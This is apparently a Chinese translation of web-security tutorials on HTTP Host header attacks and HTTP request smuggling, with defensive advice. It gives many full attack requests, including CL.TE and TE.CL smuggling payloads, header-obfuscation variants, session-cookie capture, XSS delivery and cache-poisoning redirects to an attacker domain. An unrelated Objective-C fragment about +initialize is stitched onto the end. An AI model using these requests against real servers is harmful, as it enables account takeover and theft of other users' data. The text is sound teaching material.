实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。
详细内容请查阅本章下文。
防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。
其他防御措施有:
如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。
如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。
检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host
,牢记默认情况下这些头可能是被允许的。
使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。
在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。
要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。
简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。
在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。
一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。
有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。
另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。
你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 "Invalid Host header" 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。
你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。
GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here
某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾:
GET /example HTTP/1.1
Host: notvulnerable-website.com
或者,你可以利用已经泄露的不安全的子域:
GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com
有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。
验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。
以下是几个示例,说明如何创建模棱两可的请求。
一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。
不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求:
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。
虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。
同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。
你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。
由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求:
GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com
网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com
的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 "wrapped" Host 头传递任意值。
这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。
即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。
正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。
为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host
头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host
存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。
你有时可以用 X-Forwarded-Host
绕过 Host 头的任何验证的并注入恶意输入。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here
尽管 X-Forwarded-Host
是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括:
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。
一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。
在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。
攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。
在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。
但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。
要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。
独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。
Web 缓存中毒有一个独立的专题讨论。
每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。
某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。
公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况:
www.example.com:12.34.56.78
intranet.example.com:10.0.0.132
在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。
有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。
经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。
尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。
这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。
你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。
在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。
自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。
例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server
,并将请求路由到上游 URL 。如果路径以 /
开头,这没有问题,但如果以 @
开头呢?
GET @private-intranet/example HTTP/1.1
此时,上游的 URL 将是 http://backend-server@private-intranet/example
,大多数 HTTP 库将认为访问的是 private-intranet
且用户名是 backend-server
。
密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。
几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是:
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
。与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。
如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击:
evil-user.net
。https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
。在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。
即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。
原文链接:https://segmentfault.com/a/1190000039350947
在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。
HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。
现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。
当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示:
如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。
绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length
头和 Transfer-Encoding
头。
Content-Length
头很简单,直接以字节为单位指定消息体的长度。例如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding
头则可以声明消息体使用了 chunked
编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \r\n
,然后是分块内容,后面也是 \r\n
。消息的终止分块也是同样的格式,只是其长度为零。例如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length
和 Transfer-Encoding
同时存在,则 Content-Length
应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因:
Transfer-Encoding
头。Transfer-Encoding
头,但是可以通过某种方式进行混淆,以诱导不处理此标头。如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding
的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。
请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length
和 Transfer-Encoding
,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为:
CL.TE
:前端服务器(转发服务)使用 Content-Length
头,而后端服务器使用 Transfer-Encoding
头。TE.CL
:前端服务器(转发服务)使用 Transfer-Encoding
头,而后端服务器使用 Content-Length
头。TE.TE
:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding
头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。前端服务器(转发服务)使用 Content-Length
头,而后端服务器使用 Transfer-Encoding
头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器(转发服务)使用 Content-Length
确定这个请求体的长度是 13 个字节,直到 SMUGGLED
的结尾。然后请求被转发给了后端服务器。
后端服务器使用 Transfer-Encoding
,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED
将不予处理,并将其视为下一个请求的开始。
前端服务器(转发服务)使用 Transfer-Encoding
头,而后端服务器使用 Content-Length
头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
注意:上面的 0 后面还有 \r\n\r\n
。
前端服务器(转发服务)使用 Transfer-Encoding
将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED
,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。
后端服务使用 Content-Length
,认为消息体只有 3 个字节,也就是 8\r\n
,而剩下的部分将不会处理,并视为下一个请求的开始。
前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding
头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。
混淆 Transfer-Encoding
头的方式可能无穷无尽。例如:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE
漏洞,必须找到 Transfer-Encoding
标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。
根据可以混淆诱导不处理 Transfer-Encoding
的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE
或 TE.CL
漏洞相同。
当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下:
在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。
在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。
检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。
如果应用存在 CL.TE
漏洞,那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
前端服务器(转发服务)使用 Content-Length
认为消息体只有 4 个字节,即 1\r\nA
,因此后面的 X
被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding
则会一直等待终止分块 0\r\n
。这就会导致明显的响应延迟。
如果应用存在 TE.CL
漏洞,那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
前端服务器(转发服务)使用 Transfer-Encoding
,由于第一个分块就是 0\r\n
终止分块,因此后面的 X
直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length
则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。
注意:如果应用程序易受 CL.TE
漏洞的攻击,则基于时间的 TE.CL
漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE
测试,只有在失败了之后再进行 TE.CL
测试。
当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求:
如果对正常请求的响应包含预期的干扰,则漏洞被确认。
例如,假设正常请求如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。
攻击请求则取决于请求走私是 CL.TE
还是 TE.CL
。
为了确认 CL.TE
漏洞,你可以发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。
为了确认 TE.CL
漏洞,你可以发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,则后端服务器将从 GET / 404
以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。
注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项:
在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。
在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。
假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。
假设当前用户可以访问 /home
,但不能访问 /admin
。他们可以使用以下请求走私攻击绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home
的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home
和 /admin
两个单独的请求,并且认为请求都通过了权限验证,此时 /admin
的访问控制实际上就被绕过了。
在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:
X-Forwarded-For
头用来标记用户的 IP 地址。在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。
通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:
假设应用程序有个登录的功能,其会反映 email 参数:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
响应内容包括:
<input id="email" value="wiener@normal-user.net" type="text">
此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length
头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。
一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。
如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。
要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。
假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。
注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 &
字符,这意味着存储的受害用户的请求是直到第一个 &
之间的内容。
如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:
假设某个应用程序在 User-Agent
头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。
许多应用程序根据请求的 HOST
头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。
上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。
在这种变体攻击中,攻击者发送以下内容到前端服务器:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:
/static/include.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。
另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。
web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?
这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。
这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。
原文链接:https://segmentfault.com/a/1190000039332580
收起阅读 »将原来的load方法换成initialize
从输出结果可以看到没有任何关于initialize的打印,程序直接退出
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TCPerson alloc];
}
return 0;
}
2020-12-04 14:59:17.417072+0800 TCCateogry[1616:79391] TCPerson (TCtest2) +initialize
Program ended with exit code: 0
int main(int argc, const char * argv[]) {
